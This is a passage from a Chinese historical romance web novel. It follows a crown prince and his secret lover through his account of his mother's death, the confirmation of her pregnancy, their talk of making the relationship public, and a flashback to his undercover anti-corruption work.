“而且我们之间没有感情,更没有必要去强迫自己适应一件不合适的盔甲。” 沈玉姝说的平淡,却像一只大手一般卡住尚琢的呼吸。 他赤红着眼徒劳说:“有,怎么会没有呢……” “我没有,你对我也不是多深刻的感情。”沈玉姝说,“不要强迫自己为了当下自以为的缥缈情绪做太多改变。”她轻轻弯了弯眼,“这是你教给我的道理。” 尚琢错愕的情绪直直冲破了他生冷的皮相,好一会才后知后觉生出难过。 他自嘲地笑了声,“你真狠心,沈玉姝。”尚琢说。 “不及王爷半分。”沈玉姝拉开平开门,撞上尚珏温和的眼睛,心中情绪松快三分,她接上自己没说完的半句话,“王爷有多久没去看过何之纯了?她一心攀附在你身上,你抽身轻快,可有想过她怎么办?” 沈玉姝偏眼看见门外焦急的苏进,回头对呆坐在床边的尚琢说:“苏公公来了,臣女就不送王爷了。” “王爷慢走。” 里面的人许久没有动静,好一会才传了一阵极迟缓的碰撞走动声。 尚琢扶着床榻柜子,额角冒着冷汗一步步走到外间,深看了沈玉姝一眼,哑声:“你瘦了不少,宫中若是吃不惯,我派人送厨子进来。” 尚珏无声冷笑:“陈肆,送恭王出宫。” 陈肆:“是!” 第74章 第74章疼惜 尚琢一走,偏殿就静了下来。 尚珏走到沈玉姝面前,半垂着眼,弯身执起她的手腕,状似不经意的在内侧揉了揉。 尚珏的指腹内侧有一层不算薄的指腹,不像笔茧,倒像是握兵器留下的,却又比兵器茧要薄的多。 这个茧擦过白皙的手腕,顷刻揉红了一片。 沈玉姝没躲他的视线,脸上带着不好意思的羞赧,手上停顿半分,迟缓地主动环住他的腰。 尚珏微怔,随即搂着她的腰,将人往上带了带,双手抱起,抱着带到榻上坐下,顺手将人放在自己腿上,密不透风地抱住:“今天是不是小考?” “嗯,以云去重华宫考了,晚点下学我要去一趟极华殿。”沈玉姝边说边调整着坐姿,试图找到一个舒适的姿势。 尚珏手腕不太明显地桎了一下沈玉姝的腰,眉头微皱,旋即道:“什么时辰?” “大概未时?” 尚珏偏看了眼香漏,还有两个半时辰。 尚琢闹了一通,耽搁了不少时间,坏了这难得的休沐。 他有些不虞地将沈玉姝往怀里揽了一下,“这群小的怎么一个比一个烦。” 沈玉姝动了动身子:“唔……太子殿下真没耐心。” “嗯——”尚珏皱眉,抬手制住她的腰,“夫人别乱动。” “可是不舒服,你硌着我。”沈玉姝说。 尚珏咬着牙,忍了又忍,一把拽住沈玉姝的手,先凑到唇边吻了吻:“好,硌到夫人是孤不对,那夫人帮帮孤,嗯?” 沈玉姝触碰到一块滚烫的地方,不可置信地瞪大眼,下意识就要收回手,“我还要去极华殿!” “嗯,就用手。”尚珏哑着嗓子,倾身包住沈玉姝的耳朵,另一只空闲的手轻而易举挑开她的腰封,“还有时间,我们快些 。” 沈玉姝几乎要在尚珏狭窄的怀里窒息,耳边全是涎水浸泡的声音,和男人喘笑的气,轻而易举拉走她的注意力。 一片混乱中,带着薄茧的手几乎包裹了她的全身,抽丝剥茧的记忆只剩下尚珏虎口那颗浅色的虎口痣,缀在骨节清晰的手上。 / 尚珏说的快点,也转完到了小半个时辰后,沈玉姝脱力地躺在榻上,脑袋里的纷飞的思绪还未归拢,木着脸看见尚珏半跪在榻边,专注地用浸泡热水的帕子替她擦着手。 “……” “你洗手没有……就来碰我。”沈玉姝羞耻,就挑他刺分散注意。 尚珏似笑非笑:“夫人自己的东西也嫌弃?那刚才帮孤的时候怎么不嫌弃,难道是太喜欢孤了?” “啪” 沈玉姝抿唇打他手:“……不许碰我,分明是你抓着我,谁……谁要帮你。” 尚珏眉梢眼角含笑,也不生气,又抓起她的手凑唇边吻了吻:“还有两个时辰带夫人出去走走好不好?” “去哪?”沈玉姝不解问。 她的眼睛很澄澈,想一汪湖,被这样一双眼睛盯着,即便城府如尚珏,也不免生出一丝紧张。 何况是他心思不纯—— 尚珏轻笑一声:“随便走走,夫人去吗?” 沈玉姝维持着躺在榻上的姿势,视线在尚珏脸上划过去又停顿,似乎在思忖。 时间好像很快,又好像被拉得极长,好一会见沈玉姝随意点了头:“行,让雪青叫水吧,我沐个浴。” 尚珏面上笑意深了三分,“好。” 说着他便起身出了门,叫雪青备水送到偏殿去,他料想沈玉姝不肯带着那一身出门。 一旁陈肆早等在外面,见他出来,先接过他手肘的披风,随后再将偏殿门细致地关好,这才快步跟上了尚珏,两人往院中走。 “让尚衣局不要再做披风来东宫了,昼夜没那么凉。”尚珏松了松衣襟,淡声说。 “是。”陈肆没多给尚衣局解释,一边理着有些皱的披风一边说,“京中消息放得一切顺利,但是属下多嘴一句——陛下睁一只眼闭一只眼了,为什么您要在京中放您在追求、有夫之妇的……消息?”后面这几个字,陈肆不免饶舌。 “陛下之前把消息压的很紧,没传出几个人,恭王殿下也就是苏进捕风捉影,您又为何?” 尚珏轻微弯了弯唇角:“早早放了消息做铺垫,他们便知是孤主动追求,而非是她行为不正。” 陈肆哑然,不住回头看了一眼已经静默下去的偏殿。 “行了,这件事不用再提。”尚珏平静说,“尤其不准在她面前多嘴。” 陈肆噤声:“属下知晓。” / 沈玉姝沐浴更衣完出来时,不过一炷香时间。 她未施粉黛,脸上还带着被热气蒸出的潮红。 尚珏神色软了几分,站在院里安静等着她走过来。 “怎么站这里?”沈玉姝走过去,和他中间隔了一臂远,“风口风大,你伤都没好全。” “好全了。”尚珏和她并肩往外走,面上带了几分戏谑,“没好全怎么欺负夫人?” “……” 沈玉姝“噔”地往他鞋面上踩了一脚。 尚珏轻笑一声,伸手轻揽了一下沈玉姝的肩,往东转了方向后松开手,一角失修的楼阁便从树冠里冒出头来。 “这是……” “鹤康殿,我母妃生前的居所。” 如果细听的话,会察觉到尚珏声音里那点极细微的涩感。 沈玉姝步子顿住。 尚珏停在她前面半步地方,没催促也没动作。 德妃的死称得上一句讳莫如深,即便是沈玉姝也有所耳闻,那是横在尚珏心底的一根刺,加之上次尚珏对她透露的两分秘辛—— 她其实从未想过多知道尚珏的什么事,怕主动知道太多,弄得无法抽身,也怕显得跌份。 可知道这个踏入与不踏入的选项被尚珏主动摆在她的面前,她才知道,比起自己深陷泥沼,她其实更回避的一点是尚珏将她划在领地之外,好像两人止在冰面之上。 沈玉姝默了极短的时间,而后展颜一笑:“是吗,一直没来得及祭拜德妃娘娘,今天总算得了机会——德妃娘娘的排位在里面吗?” 尚珏语气一如既往,只有话头一个字稍变了调:“那真可惜,她的牌位在宗庙里,今天怕是不得空了。” 沈玉姝甜声弯了眼:“没事,下次一样的。” “下次”这个词,在大多数时候都给予一个很正向的期待,一次下次两次下次,就好像用永远一样。 尚珏语气温和下来:“嗯。” 直到这时,他才意识到掌心泌出的一层薄薄的汗。 鹤康殿在德妃去世后就搁置了,年久失修,布满了杂草和因为潮湿生出来的青苔,唯一一条称得上路的,是一条被走出来的小道,大抵是尚珏这么多年走惯了的。 沈玉姝四下一望,“鹤康殿好像离芳菲殿很近。” 尚珏的步子稍顿了半分,随即如常往前走:“对,芳菲殿是我母妃修的。” 沈玉姝眨了眨眼,忽然道:“难怪你让我住芳菲殿。” 尚珏弯着眼没说话,不承认也不拒绝。 但所幸沈玉姝只是随口揶揄,并没有真要一个答案的意思,两人继续往里走。 鹤康殿不愧是德妃的居所,一砖一瓦都很考究,却又不高调,不是最昂贵的材料,要色调都是专门研究过的。 尚珏扫了一眼,解答:“我母妃喜欢这些,鹤康殿是父皇准许按照她的图改建的。” “那德妃娘娘很厉害了,一套图纸很难做,还要考虑实用和尺寸。”沈玉姝说。 “对,她告诉我,如果不是进宫了,她会想云游做个匠人或者夫子。”尚珏推开殿门,轻笑了声,“好在记事比较早,不然这点零碎的话都记不住。” 沈玉姝不知道说什么,知晓悲伤结局的前提再看前面半生,好像哪哪都令人难过。 正殿里面摆设应该和十几年前差不多,没怎么变,甚至有打扫痕迹,只能是尚珏了,没有宫人会闲的没事去打扫一个亡人的宫殿。 沈玉姝抬眼看了尚珏颀长的身影,连发根都生着磊落。 她忽然想:尚珏这么多年,怎么在这个吃人的宫里过来的? 尚珏从怀中找出手帕,随手擦了下桌椅,让沈玉姝有个干净的地方坐下。 其实够干净了,那块手帕都没擦出什么灰。 沈玉姝没说话,安静坐下,看着尚珏视线在殿内环视一圈后,沉闷开口:“听说我的抓周礼就是在这座宫殿办的,但我没有在鹤康殿住很久,我两岁时,宁王伤了腿,从那之后我就被抱离了鹤康殿,在父皇身边养大。” “三岁时候她就薨了,没人对我说实话。”尚珏弯了弯眼,“你见过太后吗?” “没。”沈玉姝甚至不记得宫里还有这么一尊大佛。 “因为她也不是平德帝的生母。” 一代一代藏在尚家人底下,奉着血脉安危、继位顺利的本质是去母留子。 皇帝确定了储君后,由皇后出手,替皇帝解决储君母亲,皇帝薨没后留遗诏,一定储君二定太后,和一份保命遗诏,保皇后及她自定的一位族人荣华富贵高官俸禄。 “所以——” “有一点不一样。”尚珏说,“平德帝大抵是真爱过她, 没舍得做这个惯来的事,我母妃是自缢的,她什么都知道。” 沈玉姝结舌。 尚珏的自制全然有了由头,他的命是生母拿命换的,一条苟容曲从的命,换了尚珏一条康庄大道。 三岁的尚珏什么都不知道,哭闹着要见母妃,平德帝被他闹得烦了,抬手甩了一巴掌,又被皇后护住。 平德帝说:都是一样的路,朕能走,他凭什么走不得! 皇后说:幼子年幼,陛下不该一概而论。 三岁的尚珏在凤仪宫住了一月有余,皇后问他:你愿不愿意本宫做你的母妃?像德妃娘娘一样疼你。 尚珏至此知道,德妃不是病重,是薨了。 他摔了糕点,独自跑回了钦殿。 从那之后,他和平德帝满意的储君越来越像,带着无数政绩做了一人之下的太子殿下。 尚珏还记得他封太子的那一天,他带着德妃的牌位出现在大典上,皇后惊怒斥责他不懂礼数。 尚珏弯着温和的眼说:儿臣的母妃不是病逝么,为何不能出席儿臣的大典。 太子金印凉的可怕,趴着他生母的骨血,让他握的心惊,他时常觉得他是踩着生母的命上来的。 沈玉姝心里凉成一片,像饮了一块冰,让她通体都坠进冰窟,她拉着尚珏的手说:“……我想,德妃娘娘应该是解脱的吧,畸形的储君继位方式……” 沈玉姝将五指卡进尚珏的指缝,紧紧握住,轻声说:“我相信我的太子殿下有能力更改这种制度,对吧。” 尚珏微怔,随即软了神色,回身躬身将沈玉姝抱在怀里,蹭了蹭她的耳畔,“当然,我只会有夫人一个人。” 沈玉姝难得的没反驳他,安静地仰着头靠在他的颈窝里。 良久听他笑说:“劳夫人安慰我了。” “……不是。” “嗯?” “不是安慰,是我真的觉得,即便没有我,你也不会用这套制度的,你就是这样的人……”沈玉姝说。 尚珏莞尔,没接这个话,在她脖颈里埋了好一会说:“下次去宗庙见见我母妃?她肯定很想见你。” 沈玉姝弯眼:“当然好,那下次去见娘娘前你安分一点,知不知道。” 尚珏闷笑两声,答应了。 第75章 第75章答案 四月初一,尚珏刚从朝上下来。 细细数数,他和沈玉姝已经四天未见了。 “尚衣局的春装什么时候送去?”尚珏问。 陈肆想了想:“应该就是今天。” 尚珏颔首,脚下往东宫的步子一转,毫不迟疑转而去了极华殿。 算算时辰,现下沈玉姝应该在给以云授课,走过去等半个时辰正好接她回去。 从御书房到极华殿有一段不短的距离,最后是一方前些日子才栽上去的桃林,不过这方桃林再往前数一个月,应该是梅林。 桃林中留了一条道,一个岔路之后一条通极华殿,一条通芳菲殿。 尚珏挥退了陈肆,让他先去芳菲殿,自己则往极华殿的方向走。 他往岔路后没走几步,忽然听见一声柔和的女声:“太子殿下。” 尚珏抬起眼,就见前方站着一位亭亭玉立的女子,和沈玉姝差不多年岁,眼睛生的偏狭长,却偏偏柔弱得像含了一汪水,生生冲淡了皮相上的味道。 是何之纯。 尚珏都快忘记这么一个人了,不过他也没想到,何之纯会找到他头上。 尚珏不咸不淡的嗯了一声。 何之纯也不在意他的冷淡,声音平和温柔:“忽然叨扰太子殿下实非臣女本意……但是……臣女实在不知道寻谁了,听闻太子殿下良善,只得来求求您。” “是吗。”尚珏应。 “嗯……实不相瞒,臣女已有多日未见过恭王殿下,最近听闻他受伤,心中记挂……太子殿下可知恭王殿下伤势如何?” / “沈娘子,我这么弹对不对呀?”以云指甲勾着琴弦问。 沈玉姝偏看一眼,倾身凑上去,指腹压在以云的指节上:“放松——往下压……对,这个小节要重一点。” “喔,我知道了。” 沈玉姝收回手,敛着衣袍要坐正回身,一抬眼,正撞上外面灼灼的桃林,一男一女对立而站。 沈玉姝只看见女子的极窈窕身段的背影,视线再往上走,见尚珏略微低着头,神色模糊,很认真听面前人说话的模样。 “沈娘子?沈娘子!” 沈玉姝回神:“嗯?” “这么弹对不对?”以云又弹了一遍。 “再压下去一点。”沈玉姝说着换了个座,能将窗外的景象和以云的手法一同收入眼底,她将视线放在琴弦上,语气含笑,“再弹一遍。” 以云恹恹:“喔。” / 今日下学的时辰比以往要晚一炷香,一听下学,以云立刻撒丫子跑了,一刻都不想再多留。 沈玉姝收拾着桌上课本琴谱,听见门外传来一声撒娇:“太子哥哥!今天沈娘子好凶啊,一首曲子让我弹了好多遍!” 沈玉姝声音似笑非笑:“那么简单的一段一直弹不对,多弹几遍不应该吗?” 以云瞬间噤声,拿眼镜瞟着尚珏。 尚珏耸肩:“嗯,你沈娘子都没罚你抄谱子,难道不是法外开恩?” 以云不可置信,意识到兄长的叛变,怒哼一声跑远了。 尚珏没搭理小孩子的脾气,无奈笑了声,走进殿关上了门。 往里走过圆罩,就看见沈玉姝抱着一把半人高的琴往一旁的架子走,琴尾正好压着腹部。 尚珏快步走上前,一手从琴和沈玉姝胸口的空位插|进去环住琴身:“我来吧。” 沈玉姝便毫不留情地松开。 尚珏失笑。 那把琴在尚珏身上像一颗发育不良的幼苗,沈玉姝看了会后收回视线,专心致志拿着帕子擦身上的灰。 尚珏望了眼,收回视线将琴摆好,转身出了门,不过一会便端了一盆热水进来。 沈玉姝看见弯了一下眼,将帕子扔到一边,嘴角露出一颗小虎牙来:“太子殿下什么时候做这些事做的这么顺手啦?” “伺候夫人的事,我不是一直都很得心应手?” 他含笑反问。 尚珏眼底含着揶揄的笑,让沈玉姝想起两人到邑城的第二天,尚珏就帮她沐发那事。 她忽然想起来,就问:“当时你不会是跟着我去邑城的吧?” 两人心照不宣地对视几瞬,沈玉姝先移开了眼,嘟囔:“坏胚子。” “嗯。” 尚珏应着,手上拧干帕子,倾身要凑上来帮沈玉姝擦胸口沉积的灰。 然后“啪”地被沈玉姝打开。 “话都没说清,不许碰我!”沈玉姝微微扬着下巴,一股子矜骄味,她抬手扯着尚珏一缕头发,卷在手指上不轻不重地扯着,“说,刚刚和谁说话呢。” 头皮上传来细微的疼,尚珏不怒反笑,一手抬上去包住沈玉姝拉着他头发的手,挑起一边唇:“我还以为夫人没注意到我呢,原来夫人一直偷偷关注我啊。” “谁看你,快说。”沈玉姝拉着头发一拽。 尚珏低低闷笑一声:“……说也可以,夫人答应我一个条件?” 沈玉姝眼睛微微瞪大:“……你做错事,怎么还要跟我讲条件?” “答不答应?” “……行吧。” 尚珏笑着保持蹲着的那个姿势,手掌握着沈玉姝的手不肯让她收手,“是何之纯,尚琢很久没找她,她之前得罪不少人,现在日子不太好过,想让我帮她见见尚琢。” “你答应了?”沈玉姝歪头。 “没有。”尚珏轻轻耸肩,“我不爱管别人的事。” 尚珏冷漠的底色一览无余。 沈玉姝弯了弯眼,没说话。 “该说的都说了,到夫人兑现承诺了吧?”尚珏眉眼带笑,手心更紧地攥住她的手背,“去看看太医?嗯?” “什——” 沈玉姝的话头刚起,就被尚珏打断:“总是吃不好饭还容易吐,我一直很担心,去看看好不好?” 沈玉姝脑袋晕 乎乎的,搞不懂这场逼问怎么绕来绕去到了她头上,“……啊,好吧。” 尚珏的猜想有待确认,他难得对自己本身产生质疑的情绪。 见沈玉姝答应,他才松了口气:“好,我安排……” “不要宫里的太医。”沈玉姝急忙说。 不是一个过分的要求。 尚珏抬手摸了摸她的后脑,应下了。 ***** 沈玉姝记挂着那件事,但尚珏却好像不太急,答应了之后几天没有动静,只要见雪青端来的膳食越来越平淡,荤素却是搭配好的,偶尔掺杂几道酸的或辣的才,如果她多用了两口,那下一顿饭这类菜必然多上一些。 直到四天后,沈玉姝刚从极华殿出来,抬眼见到廊下立着一番孑立的身形。 他穿着一身苍绿的长袍,听见动静才转过身,下意识抬起手,双臂微张。 沈玉姝弯着眼,提着裙摆小步跑上去投进他怀里。 尚珏将人抱了个满怀,声音无奈:“你慢点。” “嗯……” “以云有没有折腾你?” “没,她最近挺乖的。” “胃口怎么样?” “你特地安排的食谱,当然不错啦。” …… 两人说着话,尚珏揽着沈玉姝慢慢往外走。 “今天江南的大夫到京城,已经在芳菲殿了,去看看?”尚珏走了一会,才随意地提起。 沈玉姝步子顿了半瞬,面上有些迟疑。 话虽然是她答应的,但勇气积攒这么久,早散的干干净净,何况大夫都到了,她心中难免紧张,心跳几乎吵到耳朵。 “……嗯,这些日子你就是安排这个啦?” “嗯,派人把他接上京,没多少功夫。” “喔……” 沈玉姝应着,二人继而往前走,沉默一路。 等到芳菲殿门口时,沈玉姝才忽然开口:“……万一不太好怎么办?” 她含糊说着“不太好”,是怎么不太好,病症还是结果? 尚珏抬手五指插进她的发间,二人心照不宣地对视。 他这才发现,沈玉姝对于这事不是一无所知。 他随意恍然,算起来四个月的时间,沈玉姝聪慧,对自己的身子更是了解,只是迟疑地避讳罢了。 尚珏弯起眼,嗓音一如既往地温和:“别怕,我都安排好了。” 无端的,沈玉姝心口的紧张骤然消散,安定了下来。 两人并肩走进芳菲殿,里面早坐着一个头发乌黑、面色康健的老头,手边还摆着一方陈旧的药箱。 一见二人进来,老头便起身:“太子殿下。” 尚珏摆摆手:“陈大夫不必多礼,此事是孤有所求,该以陈大夫您为主——还劳您为孤夫人多瞧瞧才好。” 沈玉姝耳廓绯红,拧着身不肯多给他分一点余光,却又在心底不禁感叹他的妥帖。 陈大夫大也奇怪,毕竟从未听闻太子殿下有婚配,但他也没多问,连声应下后从药箱里拿出软枕和小巾垫在桌上,手掌朝上一送:“娘娘您请。” “……” 沈玉姝咬牙:“大夫叫我姑娘就好。” 她说着,狠狠剜了尚珏一眼,结果对上那人紧张绷紧的脸,心头情绪骤然一散,汇成算了两个字。 她走到圈椅上坐下,挽起袖口,露出一截腕子搭在软枕上。 事到现在,她才忽然发现,自己其实并没有什么紧张的情绪,大概是答案揭晓前一刻,心里不言而喻的将来。 陈大夫隔着小巾,将两指并拢搭在沈玉姝的手腕上,凝神片刻,有些错愕:“夫人换一只手。” 沈玉姝应声换手。 片刻后,陈大夫似乎有些难说,他的视线在紧张的太子殿下和淡然的姑娘脸上滑来滑去,喉头干涩。 “这个……如果老夫没有把错的话……姑娘脉搏圆润如珠……应当是、喜脉。” 第76章 第76章“尚珏,你别不带着我”…… 尚珏妥帖的送走陈大夫后,回了芳菲殿,将门闩挂上,一回头就瞧见沈玉姝微微拧着的眉,平日的雾蒙蒙、微微上扬的眉形,此刻晕开的眉头堆出了三分褶皱。 他轻舒了一口气,走到沈玉姝面前。 他原想坐在沈玉姝身边,但两张圈椅中隔了一方八仙桌,说话不免显得疏离,又不肯离得太远,索性蹲在沈玉姝面前,用一种微微仰视的姿势专注看着她。 “夫人在想什么?”尚珏温声问。 沈玉姝没说话。 她是第一次,面临无数纷至沓来的条件限制,去以用这些论证一个答案。 尚珏握了握她微凉的手,以作安抚:“夫人知道的,我提前做好了一切能为你做的准备,所以你做任何决定的时候都不用瞻前顾后。” “我不缺一个孩子,也并不是一定要一个孩子,甚至我并不期待一个孩子——当然,这是在没有你的前提下。”尚珏深吸一口气,用一种冷静到几乎残忍的方式剖析自己的心里,“上次夫人说,即便没有你,我也不会套用那种制度——是对的。”他闷闷低笑两声,声音含着几分哑然的笑,“夫人真的很了解我。” 沈玉姝抿着唇,心里有些难过。 她忽然想起,尚珏说,喜欢一个人,总是不舍得他受苦的。 所以她听见尚珏的往事和沉疴,想起就钝痛得难受。 “我原本做的打算是,过继宁王和尚琢的孩子做储君,或者其他叔伯的后代,有能者便好,总之不至于再让后代小辈再体会这种类兽的制度。”尚珏说,“所以我对于一个所谓完整家庭的说法并不执着,甚至常常觉得,自己根本做不好一个所谓父亲的角色,也未曾奢望过常人家庭温馨。” 两人手的温度已经趋近一致,尚珏便松开,将五指插|进她的指缝中,紧紧攥住:“所以夫人做什么决定,只要是你深思熟虑的,我都欣然接受。” 说到这里,尚珏忽的忍俊不禁笑了声:“当然,夫人只要别把我淘汰就行。” 沈玉姝哑然地吸了吸鼻子,低头抬着眼看他,声音闷闷的:“如果我想打掉呢。” “没问题,我让整个太医院寻最好的方子,决不让你身子有损。”尚珏说,“之后我会让尚寝局的宫人做避孕的工具,听闻鱼泡羊肠可以避免怀孕。” 沈玉姝抬脚踹他,声音还是闷闷的:“那万一我不想打呢。” “我早备好万金聘礼,定让夫人做我朝最风光的太子妃。” 成婚与不成婚的路都被安排清楚了,这让沈玉姝无言。 她常常溺毙在尚珏的妥帖下。 “你什么时候这么不自信了?”沈玉姝漆黑的眼睛一瞬不眨地看着尚珏,好一会才声音轻弱的开口,“从我答应和你复合的时候,我就没想过会让你一直做情人。” “我不怎么会一直让你一个人去面对其他的事,我既然答应你,就是我们两个人的事。”沈玉姝抿着唇,眼圈有些泛红,“如果你还像之前那样,一声不吭做了什么,我才是真的会生气。” 尚珏心口发疼,吻上沈玉姝的唇,将后面所有心知肚明的话封碱。 他蹲在地上,不免比沈玉姝低一截,接吻的时候,一手攥着沈玉姝的五指,一手压在她的后脖上,用一种不轻不重的力气,堪称诱哄的带着她的头往下。 他吞吃着沈玉姝的唇齿舌尖,口腔里一丝空白都被他掠夺,上下尽数掌控的感觉,几乎是沈玉姝整个人都在被他摆弄。 蹲着的姿势到底不太舒服,等沈玉姝从这个吻里找回神志的时候,尚珏已经不知道什么时候站起来了 ,半身弯着,比她大一圈的身形全然笼罩着她整个人。 孕期的身子越发敏感,仅仅是一个吻,就让她软了身子。 “别……” 刚起的话头又被尚珏吞没,等到一吻结束的时候,脑袋都是晕的,瘫在椅背上,又被尚珏揽回去抱在怀里。 被摆弄的方式不算特别舒服,但沈玉姝浑身都没力气,半颗脑袋压在尚珏脖颈里,缓慢地眨了眨水汽蒙蒙的眼。 “幸好。” 尚珏暗哑的声音传到沈玉姝的耳边,让她迟钝地眨了眨眼。 “……什么幸好?”沈玉姝问。 “幸好我早早告知了夫人心意,否则难免叫夫人误会我是为了孩子。”尚珏除了嗓音因为接吻带的哑,语气一派往常,像是说着某种普通的问话。 沈玉姝鼻尖一酸,心口钝疼。 / 这个话题就此结束,再多说了总是不免像剖析伤口。 尚珏舍不得沈玉姝难过,沈玉姝也舍不得,于是两人不约而同缄默,唤雪青送了膳来。 膳食是陈大夫写的方子,补气开胃,滋补母体的。 尚珏给沈玉姝夹了一箸菜:“陈大夫说孩子没事,但是你身子太弱。” 沈玉姝端着碗,眨眨眼:“什么时候说的?” 说完她乖乖将尚珏夹的菜通通吃掉。 “送陈大夫出去的时候。” 尚珏没吃两口,看沈玉姝哪道菜多吃了,就多夹两次,等她缓下这道菜频率时,就换一道接着夹。 “哦……” 难怪出去了那么久。 沈玉姝安静吃着饭,即便有些撑了还是努力再吃一点:“我还没问你,你是怎么猜到怀孕的事的?我好像最近表现……还行?” “上次夫人帮我的时候,不小心把到脉了,喜脉较为明显,但还是担心自己学艺不精,一时不敢确定。”尚珏轻描淡写说着,挽袖给沈玉姝舀了一碗汤,倾身递到她手边,手腕一转,顺手将那碗吃了一半的饭拿走了放一边,“吃不下就不吃了,夫人吃高兴就行,不用顾及那小东西。” “喔。”沈玉姝没推辞,转而喝起了汤。 汤里一点油腥味都没有,不知是用了什么法子,还是没放,总之让沈玉姝喝的食指大动。 她喝了小半碗,忽的思绪动了动,抬起脸奇怪道:“你还会医术?” “一点,祈福时夫人不肯看太医,自学了一些。” 沈玉姝哑口无言。 她知道尚珏的“一点”一定不是皮毛,就因为她一句话,就抛下一堆事转而研究黄岐之术? 尚珏叹声,上半身倾过去,五指插在沈玉姝的发间揉了揉:“夫人怎么总爱胡思乱想?” “告诉夫人,是想让夫人日后好好看太医,不是想让夫人难过的。”尚珏说着轻笑了声,“当然,也是想让夫人多喜欢我一点。” 倒也说不上难过,沈玉姝只是觉得心里闷闷的,像在海里泡了一圈拿上来,堵在口子,风一吹,进来的全然是咸腥的海风。 沈玉姝搁下勺子,揉了揉泛红酸软的耳朵:“……如果公开,要怎么办呢?” 他们的身份都特殊,尚珏身为太子,沈玉姝更是他的弟妹,自然不可能随随便便的仓促了事。 何况尚珏是不肯的。 “我会去和父皇说,上次做了铺垫,无非是再多费时日博弈的事。” “不要。”沈玉姝分外有些坚决,“我说过的,你再独自一人随意做什么事,我才是真的会生气。”沈玉姝顿了顿,声音又轻了半寸,“……何况,这种事,我不想一无所知地胡乱过去。” 尚珏哑然。 这就算是相看和见过父母了,寻常夫妻自然是纳字交换庚帖,只是他总想着担心沈玉姝被牵连,想将她摘出去,少考虑了她的情绪。 尚珏轻呼一口气:“玉姝,我的亲缘单薄,居高胜寒,我与父皇都是这样的人,一身孑然再没什么能失去的,再牵扯不到旁人,但你不一样,你有关系还不错的父母、朋友,即便我先做了铺垫,但部分流言难免会针对你,我怕你难过。” 前朝娶嫂嫂儿媳之事不少,但多半都洗了身份更了姓名,无论如何总想在史书上留下个好名声。 可他二人既想昭告天下,走明路,过庚帖,那流言蜚语就会纷至沓来。 首当其冲就是亲朋的态度。 “即便称不上众叛亲离,也是与世俗背道而驰。”尚珏缓声叹谓,“玉姝,你该知晓,我是心疼你。” 他鲜少这么唤她。 “若我当真害怕,当初就不会答应和你厮混日复一日。”沈玉姝咬牙,“早猜想自己怀孕时,我有无数种方法验证、打掉,当做什么都没发生,但我没有,我掩耳盗铃的心态目的我不信你不知道;被你哄骗进宫,我每天都有机会与陛下请辞离宫,只要我说一句当不得此大任,陛下他不会阻我,你对此心里门清,但你不就是心里清楚,我舍不得你、喜欢你,才胆大妄为地次次逼迫我,拽着我从壳里出来,逼着我承认爱你非你不可?” “现在我承认了,你又不想让我那么坦荡了。” “尚珏,世界上没有这么个道理,你不想我受委屈,我也不想你受委屈。” 沈玉姝轻轻动了下指尖,扬起脸,将尚珏清俊的五官尽收眼底,他眼底闪烁着她看不懂的情绪,却也能猜到三五分。 她嗓音轻缓柔软,又带着几分委屈:“尚珏,你别不带着我……” 第77章 第77章过去和你 尚珏从未质疑过沈玉姝爱他,却直至如今才恍然发觉是低估了的,但等真的意识到时,他只觉心中惊雷。 他心脏被沈玉姝句句揉碎成片,又从呼吸喷涌而出,最后束手无策,只知道徒劳地抱紧面前的人。 尚珏克制着,偏头轻吻了一下沈玉姝的耳垂,嗓音干涩,“别哭,是我的错。” 先前因为避免难过,而揭过的话题,此刻以另一种形式转了回来。 它的后劲丝毫没少,让两颗仅隔着薄薄胸腔的心脏同时在宣泄悲鸣。 尚珏遏着沈玉姝的下巴掰过来,迫使着两人对视。 他的额头抵在沈玉姝的眉骨,他压着滚烫的情绪,轻声说:“沈玉姝,你听我说。” “常人学话第一句,多是娘亲爹爹,但我学会的第一句话是‘自恃无恃人’,我其实不懂这是什么意思,只记得清楚,等再大了两岁,母妃才和我解释说试图恃人时,便是大厦将倾时。” 寻常婴儿牙牙学语的年纪,大约在一岁,但尚珏更早,六个月的时候就能发出无意义的“啊、唔”声。 还年轻、貌美、康健,浑身没透着病恹恹的侧妃,也是后来的德妃谈静安,抱着尚珏在院子里,拉着他指大的小手,声音轻软,一遍遍不厌其烦地重复:“自恃无恃人。” “尚珏,跟娘亲念,自恃无恃人。” 尚珏咿咿呀呀:“呀呀——” 一月份,尚珏八个月。 小奶团子被乳母穿着暖和的袄子,在铺着软垫的屋子里左右,试图抓着桌几站起身,但因为腿部尚未发育完全,噗通摔倒在地。 其实能痛到哪里去,冬天穿得厚,地上铺的软垫都是进贡的高货,但八个月的婴孩分不清痛不痛,只知道失败了,跌了跤,下意识冲身旁人伸出手,哇哇大哭。 尚珏自小生的好,粉雕玉琢,像个团子。旁边的乳母哪受得了,何况皇孙出了事,她们都得掉脑袋,手忙脚乱就要去抱。 “不许抱。”不知何时进来的谈静安立在门口,冷眼看着地上的尚珏,“一点小事就哭闹,以后如何成大事。” 乳母嗫嚅着不敢动了。 婴孩不懂乳母为什么不动,也不动为什么娘亲作壁上观,他只觉得委屈,哇哇大哭变成了嚎啕大哭。 但谈静安依旧不动,不知道在等什么。 尚珏哭了好久,没有人管他,他的哭声都哑了,趴在地上委委 屈屈地抽噎。 直到谈静安终于好像有些动容,微动了唇角,准备放乳母过去的时候,地上的小团子突然开了窍,拖着抽噎的嗓子磕磕绊绊说了第一句话:“自恃、无……恃人,自恃无恃人。” 谈静安瞳孔微微睁大,含着喜色端方走过去,捞起躺在地上的孩子,轻声说:“还不错。” 但其实八个月的婴孩根本不懂,他耳边最多的一句话就是这句,事实上在他的思路里,“自恃无恃人”和“啊”、“呀”没有什么区别。 十七那年,太子之位尚且不稳的尚珏,追查到扬州贪污案的第一条线索,他果断压了所有消息,以探查民生为由禀了平德帝,隐没身份私下扬州。 他隐了身份,只是一个被边派的小官,没年岁没建树没功名,但八面玲珑,渐渐得了扬州令的重视。 扬州令说:“以杨公子之本事,未来必成大器。” 同时给了他一个说大不大,说小不小的活——去金陵采买。 一千两银钱,采买543两,剩下457两,尚珏给了扬州令300两。 扬州令掂着银子,笑意深深:“只有这些吗?” 尚珏平静道:“是的。” 扬州令静默半晌,随即大喜过望,将剩下的300两尽数赏了他,第二日便大方提拔了他。 尚珏花了一年时间,让扬州令相信,他和他是一路人,有自己的算盘、但又敬畏、谄媚他的人。 他孤身一人,终于在那个如同盘丝洞样的扬州立下足。 整个扬州贪污案,都是尚珏这么一点一点爬上去获取信任,拿到足够的证据,倾了大厦,坐稳了储君之位。 